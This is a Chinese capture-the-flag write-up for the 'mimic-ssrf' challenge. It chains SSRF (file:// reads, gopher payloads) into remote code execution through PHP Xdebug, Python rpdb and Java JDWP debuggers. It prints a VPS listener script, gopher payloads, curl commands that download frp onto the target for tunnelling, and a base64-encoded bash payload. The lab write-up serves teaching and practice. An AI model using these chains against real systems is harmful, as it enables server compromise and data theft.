介绍 本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssrf,借鉴邬江兴院士拟态防御理论设计的mimic-ssrf题目,该题目是个通过ssrf进行RCE的web环境,三种开发语言的debug调试器,代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈,明确的攻击指令会有明确的反馈结果,但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果,不然在拟态的防御机制中,就会被表决失效。
类似于生物界的拟态防御,在网络空间防御领域中,使用拟态技术可极大的提升黑客攻击的难度。
本题内网使用了3种语言所搭建的服务,分别php、python和java,通过ssrf可以访问内网服务,并且服务都是设置debug模式,想办法获取到有用的信息,得到flag。
参考原writeup【拟态挑战WP】2021年春秋杯秋季赛mimic-ssrf ,原writeup步骤不完整,故重新补充记录
分析 mimic指的是“拟态”,ssrf指的是“由攻击者构造形成由服务端发起请求的安全漏洞”。再由题目描述可知,应该是要通过ssrf暴露远程debug端口,利用三种编程语言的debug调试器进行攻击。
该题以ssrf为入口:
尝试使用file协议读文件ssrf?url=file:///etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 GET /ssrf?url=file:///etc/passwd HTTP/1.1 Host: eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://eci-2zedy65w6hb1qe4zud3x.cloudeci1.ichunqiu.com:8888/ Cookie: __jsluid_h=276004b4e0fd0f6fe3df0d1b6794aede Upgrade-Insecure-Requests: 1 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin php:x:1000:1000::/home/php:/bin/sh java:x:1001:1001::/home/java:/bin/sh python:x:1002:1002::/home/python:/bin/sh golang:x:1003:1003::/home/golang:/bin/sh messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
可以看到成功读到/etc/passwd。
这个时候我们就可以考虑通过对linux下面的proc目录遍历进程,收集有用的信息。
/ssrf?url=file:///proc/§1§/cmdline可以得到大概有四个服务,如下:
根据题目描述可知,本题内网使用了3种语言所搭建的服务,分别php、python和java,接下来就按顺序来分析和利用。
php Xdebug RCE XDebug是PHP的一个扩展,用于调试PHP代码.我们访问带有XDEBUG_SESSION_START参数时,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数,即可在目标服务器上执行任意PHP代码。
先读取index.php文件看看有什么信息。
1 2 3 GET /ssrf?url=file:///web/php/index.php HTTP/1.1 php
php的http服务里面什么都没有,读取php.ini
1 2 3 4 5 6 7 8 9 10 GET /ssrf?url=file:///etc/php/7.2/cli/php.ini HTTP/1.1 [xdebug] zend_extension = xdebug xdebug.mode=debug xdebug.idekey="PHPSTORM" xdebug.remote_handler = "dbgp" xdebug.client_port = 13000 xdebug.start_with_request = trigger xdebug.discover_client_host = 1
可以发现开启了xdebug和相关配置,client_port是13000。
我们可以现在自己的vps执行如下python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python2 import socket ip_port = ('0.0.0.0' ,13000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print (client_data) data = raw_input('>> ' ) conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64' ))
关于php Xdebug RCE想了解更多可以参考以下文章,及exp脚本:
XDebug 远程调试漏洞(代码执行)
xdebug-rce.py
通过gopher构造get请求的原始数据
1 gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A
以上gopher数据url decode之后如下所示
1 2 3 4 5 6 7 gopher://127.0.0.1:7410/_GET /index.php?XDEBUG_SESSION_START HTTP/1.1 Host: 127.0.0.1:7410 User-Agent: curl/7.58.0 Accept: */* X-Forwarded-For: vps-ip
意思是使用gopher协议请求开放在内网的本地7410端口的index.php的XDEBUG_SESSION_START,然后X-Forwarded-For头指向自己vps的地址:vps-ip
使用burp多发几次包即可:
1 GET /ssrf?url=gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A HTTP/1.1
vps接着收到了信息;然后可以system(“ls /“)执行任意代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@vsdfva:~ 483<?xml version="1.0" encoding="iso-8859-1" ?> <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" fileuri="file:///web/php/index.php" language="PHP" xdebug:language_version="7.2.24-0ubuntu0.18.04.10" protocol_version="1.0" appid="37" ><engine version="3.1.1" ><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[https://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2021 by Derick Rethans]]></copyright></init> >> system("ls /" ) 256<?xml version="1.0" encoding="iso-8859-1" ?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command ="eval" transaction_id="1" ><property type ="string" size="3" encoding="base64" ><![CDATA[d2Vi]]></property></response> >> system("id" ) 313<?xml version="1.0" encoding="iso-8859-1" ?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command ="eval" transaction_id="1" ><property type ="string" size="44" encoding="base64" ><![CDATA[dWlkPTEwMDAocGhwKSBnaWQ9MTAwMChwaHApIGdyb3Vwcz0xMDAwKHBocCk=]]></property></response> >> system("ls / |base64 -w 0" ) 446<?xml version="1.0" encoding="iso-8859-1" ?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command ="eval" transaction_id="1" ><property type ="string" size="144" encoding="base64" ><![CDATA[WW1sdUNtSnZiM1FLWkdWMkNtVjBZd3BvYjIxbENtcGhkbUZmWm14aFp3cHNhV0lLYkdsaU5qUUtiV1ZrYVdFS2JXNTBDbTl3ZEFwd2FIQmZabXhoWndwd2NtOWpDbkp2YjNRS2NuVnVDbk5pYVc0S2MzSjJDbk41Y3dwMGJYQUtkWE55Q25aaGNncDNaV0lL]]></property></response> >> system("cat /php_flag" ) 273<?xml version="1.0" encoding="iso-8859-1" ?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command ="eval" transaction_id="1" ><property type ="string" size="14" encoding="base64" ><![CDATA[ZmxhZ3tiY2ZkODkwZi0=]]></property></response>
将CDATA中的base64字符串解密即可得到执行命令的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ┌──(root💀kali)-[~] └─ web ┌──(root💀kali)-[~] └─ uid=1000(php) gid=1000(php) groups =1000(php) ┌──(root💀kali)-[~] └─ bin boot dev etc home java_flag lib lib64 media mnt opt php_flag proc root run sbin srv sys tmp usr var web ┌──(root💀kali)-[~] └─ flag{bcfd890f-
同时获取到第一个php的flag
python rpdb RCE rpdb扩展了pdb,让pdb支持远程调试功能.使用rpdb的python脚本在远程启动,本地通过telnet方式连接上rpdb提供的调试端口(默认端口4444),可以直接执行python代码。
先读/web/python/app.py
1 2 3 4 5 6 7 8 GET /ssrf?url=file:///web/python/app.py HTTP/1.1 import os flag_path="/web/python/python_flag" fl1l1l1l1laaggg=open(flag_path).read () os.remove(flag_path) import rpdb rpdb.set_trace()
发现使用了远程调试器rpdb。
我们可以直接通过gopher协议攻击python把flag写入到/tmp/,然后直接通过file协议读取python flag。
1 GET /ssrf?url=gopher://127.0.0.1:4444/_open("/tmp/python_flag" ,"w" ).write(fl1l1l1l1laaggg) HTTP/1.1
1 2 3 GET /ssrf?url=file:///tmp/python_flag HTTP/1.1 621c-4a1f-a466
获取到第二个python flag
java JDWP RCE Java 虚拟机为 Java 语言提供 Java debugger、JDB 调试功能,应用在编译过程中可以开启 Remote Debug 模式,方便程序员远程对代码进行调试。但是,该模式没有身份校验机制,且可执行系统命令
首先将/web/java/Hello_web.jar下载到本地分析
1 2 3 4 5 6 7 8 9 10 11 >> system("ls -la /web/java/ |base64 -w 0" ) 654<?xml version="1.0" encoding="iso-8859-1" ?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" command ="eval" transaction_id="1" ><property type ="string" size="300" encoding="base64" ><![CDATA[ZEc5MFlXd2dNVGM0T1RJS1pISjNlSEl0ZUhJdGVDQXhJR3BoZG1FZ2FtRjJZU0FnSUNBZ05EQTVOaUJPYjNZZ01qUWdNVFU2TkRjZ0xncGtjbmQ0Y2kxNGNpMTRJREVnY205dmRDQnliMjkwSUNBZ0lDQTBNRGsySUU1dmRpQXlOQ0F4TlRvMU1DQXVMZ290Y25jdGNpMHRjaTB0SURFZ2FtRjJZU0JxWVhaaElERTRNekF4TnpNMElFNXZkaUF5TkNBeE5Ub3pNQ0JJWld4c2IxOTNaV0l1YW1GeUNtUnlkM2h5TFhoeUxYZ2dNU0JxWVhaaElHcGhkbUVnSUNBZ0lEUXdPVFlnVG05MklESTBJREUxT2pNNElHcGthekV1T0M0d1h6SXdNZ289]]></property></response> ┌──(root💀kali)-[~] └─ total 17892 drwxr-xr-x 1 java java 4096 Nov 24 15:47 . drwxr-xr-x 1 root root 4096 Nov 24 15:50 .. -rw-r--r-- 1 java java 18301734 Nov 24 15:30 Hello_web.jar drwxr-xr-x 1 java java 4096 Nov 24 15:38 jdk1.8.0_202
同样先查看源码/web/java/Hello_web.jar,使用jd-gui打开
可以发现是触发了String.equals这个函数。
需要做socket代理(使用frp)
远程搭建一个http服务,让容器下载我们的frp的工具,通过php的shell下载文件,搭建socket隧道
frp服务端及客户端配置可参考下列文章:
frp实现内网穿透(通过设置http代理/Socks代理)
vps开两个终端执行下列命令:
1 2 3 4 root@vsdfva:~ Serving HTTP on 0.0.0.0 port 81 ... 39.105.23.123 - - [17/Jan/2022 03:40:25] "GET /frpc.ini HTTP/1.1" 200 - 39.105.23.123 - - [17/Jan/2022 03:40:34] "GET /frpc HTTP/1.1" 200 -
1 2 3 4 5 6 7 root@vsdfva:~ 2022/01/17 03:40:01 [I] [service.go:152] frps tcp listen on 0.0.0.0:5699 2022/01/17 03:40:01 [I] [service.go:251] Dashboard listen on 0.0.0.0:7500 2022/01/17 03:40:01 [I] [root.go:205] start frps success 2022/01/17 03:43:03 [I] [service.go:392] [c93dba57a1060eab] client login info: ip [39.105.23.123:3694] version [0.31.1] hostname [] os [linux] arch [amd64] 2022/01/17 03:43:04 [I] [tcp.go:63] [c93dba57a1060eab] [plugin_socks5] tcp proxy listen port [5001] 2022/01/17 03:43:04 [I] [control.go:445] [c93dba57a1060eab] new proxy [plugin_socks5] success
在靶场的php shell中执行下列命令
1 2 3 4 5 6 7 system("curl -L http://vpsip:81/frpc -o /tmp/frpc" ) system("curl -L http://vpsip:81/frpc.ini -o /tmp/frpc.ini" ) system("chmod 777 /tmp/*" ) system("/tmp/frpc -c /tmp/frpc.ini" )
然后就是配置好/etc/proxychains.conf之后,再攻击java的debug(proxychains 配置的是自己的socket配置)
打之后,通过ssrf的接口服务java的web服务即可触发断点,将java flag写入/tmp/java_flag,然后通过文件读取读取java flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ┌──(root💀kali)-[~] └─ cat /java_flag> /tmp/java_flag┌──(root💀kali)-[~/jdwp-shellifier] └─ [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.15 [proxychains] Dynamic chain ... 45.32.139.236:5001 ... 127.0.0.1:20211 ... OK [+] Targeting '127.0.0.1:20211' [+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.8.0_202' [+] Found Runtime class: id =11e9 [+] Found Runtime.getRuntime(): id =7f01e800c978 [+] Created break event id =2 [+] Waiting for an event on 'java.lang.String.equals' [+] Received matching event from thread 0x12cd [+] Selected payload 'bash -c {echo,Y2F0IC9qYXZhX2ZsYWc+IC90bXAvamF2YV9mbGFn}|{base64,-d}|{bash,-i}' [+] Command string object created id :12ce [+] Runtime.getRuntime() returned context id :0x12cf [+] found Runtime.exec (): id =7f01e8007d48 [+] Runtime.exec () successful, retId=12d0 [!] Command successfully executed
1 2 3 GET /ssrf?url=file:///tmp/java_flag HTTP/1.1 -7a3353e9543e}
三个flag合并在一起得到最终的flag
1 flag{bcfd890f-621c-4a1f-a466-7a3353e9543e}